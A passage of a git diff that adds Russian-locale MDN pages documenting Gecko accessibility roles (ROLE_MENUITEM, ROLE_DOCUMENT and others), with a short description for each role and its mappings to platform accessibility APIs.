+ <dd>
+  A sub-document.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUPOPUP">ROLE_MENUPOPUP</a></code></dt>
+ <dd>
+  Represents a menu, which presents a list of options from which the user can make a selection to perform an action.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUITEM">ROLE_MENUITEM</a></code></dt>
+ <dd>
+  Represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TOOLTIP">ROLE_TOOLTIP</a></code></dt>
+ <dd>
+  Represents a tooltip that provides helpful hints; this is generally displayed at the mouse cursor position.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_APPLICATION">ROLE_APPLICATION</a></code></dt>
+ <dd>
+  Represents a main window for an application.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT">ROLE_DOCUMENT</a></code></dt>
+ <dd>
+  Represents a document window. A document window is always contained within an application window.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PANE">ROLE_PANE</a></code></dt>
+ <dd>
+  Represents a pane within a frame or document window. Users can navigate between panes and within the contents of the current pane, but cannot navigate between items in different panes. Thus, panes represent a level of grouping lower than frame windows or documents, but above individual controls.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHART">ROLE_CHART</a></code></dt>
+ <dd>
+  Represents a graphical image used to represent data.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIALOG">ROLE_DIALOG</a></code></dt>
+ <dd>
+  Represents a dialog box or message box.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BORDER">ROLE_BORDER</a></code></dt>
+ <dd>
+  Represents a window border.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GROUPING">ROLE_GROUPING</a></code></dt>
+ <dd>
+  Logically groups other objects.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SEPARATOR">ROLE_SEPARATOR</a></code></dt>
+ <dd>
+  Used to visually divide a space into two regions, such as a separator menu item or a bar that divides split panes within a window.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TOOLBAR">ROLE_TOOLBAR</a></code></dt>
+ <dd>
+  Represents a toolbar, which is a grouping of controls (push buttons or toggle buttons) that provides easy access to frequently used features.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_STATUSBAR">ROLE_STATUSBAR</a></code></dt>
+ <dd>
+  Represents a status bar, which is an area at the bottom of a window that displays information about the current operation, state of the application, or selected object. The status bar has multiple fields, which display different kinds of information.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TABLE">ROLE_TABLE</a></code></dt>
+ <dd>
+  Represents a table that contains rows and columns of cells, and optionally, row headers and column headers.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COLUMNHEADER">ROLE_COLUMNHEADER</a></code></dt>
+ <dd>
+  Represents a column header, providing a visual label for a column in a table.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ROWHEADER">ROLE_ROWHEADER</a></code></dt>
+ <dd>
+  Represents a row header, which provides a visual label for a table row.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COLUMN">ROLE_COLUMN</a></code></dt>
+ <dd>
+  Represents a column of cells within a table.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ROW">ROLE_ROW</a></code></dt>
+ <dd>
+  Represents a row of cells within a table.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CELL">ROLE_CELL</a></code></dt>
+ <dd>
+  Represents a cell within a table.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LINK">ROLE_LINK</a></code></dt>
+ <dd>
+  Represents a link to something else. This object might look like text or a graphic, but it acts like a button.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HELPBALLOON">ROLE_HELPBALLOON</a></code></dt>
+ <dd>
+  Displays a Help topic in the form of a ToolTip or Help balloon.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHARACTER">ROLE_CHARACTER</a></code></dt>
+ <dd>
+  Represents a cartoon-like graphic object, such as Microsoft Office Assistant, which is displayed to provide help to users of an application.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LIST">ROLE_LIST</a></code></dt>
+ <dd>
+  Represents a list box, allowing the user to select one or more items.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LISTITEM">ROLE_LISTITEM</a></code></dt>
+ <dd>
+  Represents an item in a list.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OUTLINE">ROLE_OUTLINE</a></code></dt>
+ <dd>
+  Represents an outline or tree structure, such as a tree view control, that displays a hierarchical list and allows the user to expand and collapse branches.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OUTLINEITEM">ROLE_OUTLINEITEM</a></code></dt>
+ <dd>
+  Represents an item in an outline or tree structure.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PAGETAB">ROLE_PAGETAB</a></code></dt>
+ <dd>
+  Represents a page tab, it is a child of a page tab list.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PROPERTYPAGE">ROLE_PROPERTYPAGE</a></code></dt>
+ <dd>
+  Represents a property sheet.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_INDICATOR">ROLE_INDICATOR</a></code></dt>
+ <dd>
+  Represents an indicator, such as a pointer graphic, that points to the current item.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GRAPHIC">ROLE_GRAPHIC</a></code></dt>
+ <dd>
+  Represents a picture.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_STATICTEXT">ROLE_STATICTEXT</a></code></dt>
+ <dd>
+  Represents read-only text, such as labels for other controls or instructions in a dialog box. Static text cannot be modified or selected.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TEXT_LEAF">ROLE_TEXT_LEAF</a></code></dt>
+ <dd>
+  Represents selectable text that allows edits or is designated read-only.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PUSHBUTTON">ROLE_PUSHBUTTON</a></code></dt>
+ <dd>
+  Represents a push button control.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHECKBUTTON">ROLE_CHECKBUTTON</a></code></dt>
+ <dd>
+  Represents a check box control.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RADIOBUTTON">ROLE_RADIOBUTTON</a></code></dt>
+ <dd>
+  Represents an option button, also called a radio button. It is one of a group of mutually exclusive options. All objects sharing a single parent that have this attribute are assumed to be part of single mutually exclusive group.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COMBOBOX">ROLE_COMBOBOX</a></code></dt>
+ <dd>
+  Represents a combo box; an edit control with an associated list box that provides a set of predefined choices.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DROPLIST">ROLE_DROPLIST</a></code></dt>
+ <dd>
+  Represents the calendar control.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PROGRESSBAR">ROLE_PROGRESSBAR</a></code></dt>
+ <dd>
+  Represents a progress bar, dynamically showing the user the percent complete of an operation in progress.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIAL">ROLE_DIAL</a></code></dt>
+ <dd>
+  Represents a dial or knob whose purpose is to allow a user to set a value.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HOTKEYFIELD">ROLE_HOTKEYFIELD</a></code></dt>
+ <dd>
+  Represents a hot-key field that allows the user to enter a combination or sequence of keystrokes.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SLIDER">ROLE_SLIDER</a></code></dt>
+ <dd>
+  Represents a slider, which allows the user to adjust a setting in given increments between minimum and maximum values.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SPINBUTTON">ROLE_SPINBUTTON</a></code></dt>
+ <dd>
+  Represents a spin box, which is a control that allows the user to increment or decrement the value displayed in a separate "buddy" control associated with the spin box.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIAGRAM">ROLE_DIAGRAM</a></code></dt>
+ <dd>
+  Represents a graphical image used to diagram data.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ANIMATION">ROLE_ANIMATION</a></code></dt>
+ <dd>
+  Represents an animation control, which contains content that changes over time, such as a control that displays a series of bitmap frames.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_EQUATION">ROLE_EQUATION</a></code></dt>
+ <dd>
+  Represents a mathematical equation. It is used by MATHML.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BUTTONDROPDOWN">ROLE_BUTTONDROPDOWN</a></code></dt>
+ <dd>
+  Represents a button that drops down a list of items.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BUTTONMENU">ROLE_BUTTONMENU</a></code></dt>
+ <dd>
+  Represents a button that drops down a menu.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BUTTONDROPDOWNGRID">ROLE_BUTTONDROPDOWNGRID</a></code></dt>
+ <dd>
+  Represents a button that drops down a grid.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_WHITESPACE">ROLE_WHITESPACE</a></code></dt>
+ <dd>
+  Represents blank space between other objects.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PAGETABLIST">ROLE_PAGETABLIST</a></code></dt>
+ <dd>
+  Represents a container of page tab controls.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CLOCK">ROLE_CLOCK</a></code></dt>
+ <dd>
+  Represents a control that displays time.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SPLITBUTTON">ROLE_SPLITBUTTON</a></code></dt>
+ <dd>
+  Represents a button on a toolbar that has a drop-down list icon directly adjacent to the button.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_IPADDRESS">ROLE_IPADDRESS</a></code></dt>
+ <dd>
+  Represents an edit control designed for an Internet Protocol (IP) address. The edit control is divided into sections for the different parts of the IP address.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ACCEL_LABEL">ROLE_ACCEL_LABEL</a></code></dt>
+ <dd>
+  Represents a label control that has an accelerator.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ARROW">ROLE_ARROW</a></code></dt>
+ <dd>
+  Represents an arrow in one of the four cardinal directions.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CANVAS">ROLE_CANVAS</a></code></dt>
+ <dd>
+  Represents a control that can be drawn into and is used to trap events.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHECK_MENU_ITEM">ROLE_CHECK_MENU_ITEM</a></code></dt>
+ <dd>
+  Represents a menu item with a check box.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COLOR_CHOOSER">ROLE_COLOR_CHOOSER</a></code></dt>
+ <dd>
+  Represents a specialized dialog that lets the user choose a color.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DATE_EDITOR">ROLE_DATE_EDITOR</a></code></dt>
+ <dd>
+  Represents control whose purpose is to allow a user to edit a date.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DESKTOP_ICON">ROLE_DESKTOP_ICON</a></code></dt>
+ <dd>
+  An iconified internal frame in an ROLE_DESKTOP_PANE.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DESKTOP_FRAME">ROLE_DESKTOP_FRAME</a></code></dt>
+ <dd>
+  A desktop pane. A pane that supports internal frames and iconified versions of those internal frames.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIRECTORY_PANE">ROLE_DIRECTORY_PANE</a></code></dt>
+ <dd>
+  A directory pane. A pane that allows the user to navigate through and select the contents of a directory. May be used by a file chooser.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FILE_CHOOSER">ROLE_FILE_CHOOSER</a></code></dt>
+ <dd>
+  A file chooser. A specialized dialog that displays the files in the directory and lets the user select a file, browse a different directory, or specify a filename. May use the directory pane to show the contents of a directory.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FONT_CHOOSER">ROLE_FONT_CHOOSER</a></code></dt>
+ <dd>
+  A font chooser. A font chooser is a component that lets the user pick various attributes for fonts.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHROME_WINDOW">ROLE_CHROME_WINDOW</a></code></dt>
+ <dd>
+  Frame role. A top level window with a title bar, border, menu bar, etc. It is often used as the primary window for an application.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GLASS_PANE">ROLE_GLASS_PANE</a></code></dt>
+ <dd>
+  A glass pane. A pane that is guaranteed to be painted on top of all panes beneath it.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HTML_CONTAINER">ROLE_HTML_CONTAINER</a></code></dt>
+ <dd>
+  A document container for HTML, whose children represent the document content.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ICON">ROLE_ICON</a></code></dt>
+ <dd>
+  A small fixed size picture, typically used to decorate components.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LABEL">ROLE_LABEL</a></code></dt>
+ <dd>
+  Presents an icon or short string in an interface.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LAYERED_PANE">ROLE_LAYERED_PANE</a></code></dt>
+ <dd>
+  A layered pane. A specialized pane that allows its children to be drawn in layers, providing a form of stacking order. This is usually the pane that holds the menu bar as well as the pane that contains most of the visual components in a window.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OPTION_PANE">ROLE_OPTION_PANE</a></code></dt>
+ <dd>
+  A specialized pane whose primary use is inside a dialog.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT">ROLE_PASSWORD_TEXT</a></code></dt>
+ <dd>
+  A text object uses for passwords, or other places where the text content is not shown visibly to the user.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_POPUP_MENU">ROLE_POPUP_MENU</a></code></dt>
+ <dd>
+  A temporary window that is usually used to offer the user a list of choices, and then hides when the user selects one of those choices.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RADIO_MENU_ITEM">ROLE_RADIO_MENU_ITEM</a></code></dt>
+ <dd>
+  A radio button that is a menu item.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ROOT_PANE">ROLE_ROOT_PANE</a></code></dt>
+ <dd>
+  A root pane. A specialized pane that has a glass pane and a layered pane as its children. Its children can include scroll bars and a viewport.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SCROLL_PANE">ROLE_SCROLL_PANE</a></code></dt>
+ <dd>
+  A scroll pane. An object that allows a user to incrementally view a large amount of information.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SPLIT_PANE">ROLE_SPLIT_PANE</a></code></dt>
+ <dd>
+  A split pane. A specialized panel that presents two other panels at the same time. Between the two panels is a divider the user can manipulate to make one panel larger and the other panel smaller.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TABLE_COLUMN_HEADER">ROLE_TABLE_COLUMN_HEADER</a></code></dt>
+ <dd>
+  The header for a column of a table.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TABLE_ROW_HEADER">ROLE_TABLE_ROW_HEADER</a></code></dt>
+ <dd>
+  The header for a row of a table.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TEAR_OFF_MENU_ITEM">ROLE_TEAR_OFF_MENU_ITEM</a></code></dt>
+ <dd>
+  A menu item used to tear off and reattach its menu.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TERMINAL">ROLE_TERMINAL</a></code></dt>
+ <dd>
+  Represents an accessible terminal.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TEXT_CONTAINER">ROLE_TEXT_CONTAINER</a></code></dt>
+ <dd>
+  Collection of objects that constitute a logical text entity.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TOGGLE_BUTTON">ROLE_TOGGLE_BUTTON</a></code></dt>
+ <dd>
+  A toggle button. A specialized push button that can be checked or unchecked, but does not provide a separate indicator for the current state.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TREE_TABLE">ROLE_TREE_TABLE</a></code></dt>
+ <dd>
+  Representas a control that is capable of expanding and collapsing rows as well as showing multiple columns of data.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_VIEWPORT">ROLE_VIEWPORT</a></code></dt>
+ <dd>
+  A viewport. An object usually used in a scroll pane. It represents the portion of the entire data that the user can see. As the user manipulates the scroll bars, the contents of the viewport can change.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HEADER">ROLE_HEADER</a></code></dt>
+ <dd>
+  Header of a document page.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FOOTER">ROLE_FOOTER</a></code></dt>
+ <dd>
+  Footer of a document page.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PARAGRAPH">ROLE_PARAGRAPH</a></code></dt>
+ <dd>
+  A paragraph of text.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RULER">ROLE_RULER</a></code></dt>
+ <dd>
+  A ruler such as those used in word processors.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_AUTOCOMPLETE">ROLE_AUTOCOMPLETE</a></code></dt>
+ <dd>
+  A text entry having dialog or list containing items for insertion into an entry widget, for instance a list of words for completion of a text entry.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_EDITBAR">ROLE_EDITBAR</a></code></dt>
+ <dd>
+  An editable text object in a toolbar.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ENTRY">ROLE_ENTRY</a></code></dt>
+ <dd>
+  An control whose textual content may be entered or modified by the user.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CAPTION">ROLE_CAPTION</a></code></dt>
+ <dd>
+  A caption describing another object.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT_FRAME">ROLE_DOCUMENT_FRAME</a></code></dt>
+ <dd>
+  A visual frame or container which contains a view of document content. Document frames may occur within another Document instance, in which case the second document may be said to be embedded in the containing instance. HTML frames are often ROLE_DOCUMENT_FRAME. Either this object, or a singleton descendant, should implement the Document interface.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HEADING">ROLE_HEADING</a></code></dt>
+ <dd>
+  Heading.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PAGE">ROLE_PAGE</a></code></dt>
+ <dd>
+  An object representing a page of document content. It is used in documents which are accessed by the user on a page by page basis.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SECTION">ROLE_SECTION</a></code></dt>
+ <dd>
+  A container of document content.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_REDUNDANT_OBJECT">ROLE_REDUNDANT_OBJECT</a></code></dt>
+ <dd>
+  An object which is redundant with another object in the accessible hierarchy. ATs typically ignore objects with this role.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_FORM">ROLE_FORM</a></code></dt>
+ <dd>
+  A container of form controls.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_IME">ROLE_IME</a></code></dt>
+ <dd>
+  An object which is used to allow input of characters not found on a keyboard, such as the input of Chinese characters on a Western keyboard.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_APP_ROOT">ROLE_APP_ROOT</a></code></dt>
+ <dd>
+   ???</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PARENT_MENUITEM">ROLE_PARENT_MENUITEM</a></code></dt>
+ <dd>
+  Represents a menu item, which is an entry in a menu that a user can choose to display another menu.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CALENDAR">ROLE_CALENDAR</a></code></dt>
+ <dd>
+  A calendar that allows the user to select a date.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COMBOBOX_LIST">ROLE_COMBOBOX_LIST</a></code></dt>
+ <dd>
+  A list of items that is shown by combobox.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COMBOBOX_OPTION">ROLE_COMBOBOX_OPTION</a></code></dt>
+ <dd>
+  A item of list that is shown by combobox</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_IMAGE_MAP">ROLE_IMAGE_MAP</a></code></dt>
+ <dd>
+  An image map -- has child links representing the areas</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OPTION">ROLE_OPTION</a></code></dt>
+ <dd>
+  An option in a listbox</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RICH_OPTION">ROLE_RICH_OPTION</a></code></dt>
+ <dd>
+  A rich option in a listbox, it can have other widgets as children</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LISTBOX">ROLE_LISTBOX</a></code></dt>
+ <dd>
+  A list of options</dd>
+</dl>
+<div class="note">
+ <p><strong>Editor's note:</strong> Use template <span class="nowiki"><code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_">ROLE_</a></code></span> to get reference on accessible role. It looks like <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUITEM">ROLE_MENUITEM</a></code>.</p>
+</div>
diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html
new file mode 100644
index 0000000000..0116e62762
--- /dev/null
+++ b/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html
@@ -0,0 +1,31 @@
+---
+title: ROLE_DOCUMENT
+slug: Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT
+translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT
+---
+<p><a href="/ru/docs/Accessibility:AT-APIs:Gecko:Roles">« Gecko Roles Page</a></p>
+<p>Represents a document window. A document window is always contained within an application window.</p>
+<h2 id="Interfaces" name="Interfaces">Interfaces</h2>
+<ul>
+ <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessNode" title="">nsIAccessNode</a></code></li>
+ <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessible" title="">nsIAccessible</a></code></li>
+ <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleText" title="">nsIAccessibleText</a></code></li>
+ <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleEditableText" title="">nsIAccessibleEditableText</a></code></li>
+ <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleHyperText" title="">nsIAccessibleHyperText</a></code></li>
+ <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleDocument" title="">nsIAccessibleDocument</a></code></li>
+</ul>
+<h2 id="Mapped_to" name="Mapped_to">Mapped to</h2>
+<ul>
+ <li>AT-SPI: <code>ROLE_DOCUMENT_FRAME</code></li>
+ <li>ATK: <code>ATK_ROLE_DOCUMENT_FRAME</code></li>
+ <li>UA: <code>NSAccessibilityGroupRole</code></li>
+ <li>MSAA/IA2: <code>ROLE_SYSTEM_DOCUMENT</code></li>
+</ul>
+<h2 id="Used_by" name="Used_by">Used by</h2>
+<ul>
+ <li>ARIA: <code><a class="external" href="https://w3c.github.io/aria/#document">document</a></code></li>
+ <li>HTML: content document</li>
+</ul>
+<p></p><section class="Quick_links" id="Quick_Links">
+<ol><li><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT">ROLE PASSWORD TEXT</a></li><li><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT">ROLE_DOCUMENT</a></li></ol>
+</section><p></p>
diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html
new file mode 100644
index 0000000000..3157da6c12
--- /dev/null
+++ b/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html
@@ -0,0 +1,27 @@
+---
+title: ROLE PASSWORD TEXT
+slug: Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT
+translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT
+---
+<p> </p>
+
+<p><a href="/ru/docs/Accessibility:AT-APIs:Gecko:Roles">« Gecko Roles Page</a></p>
+
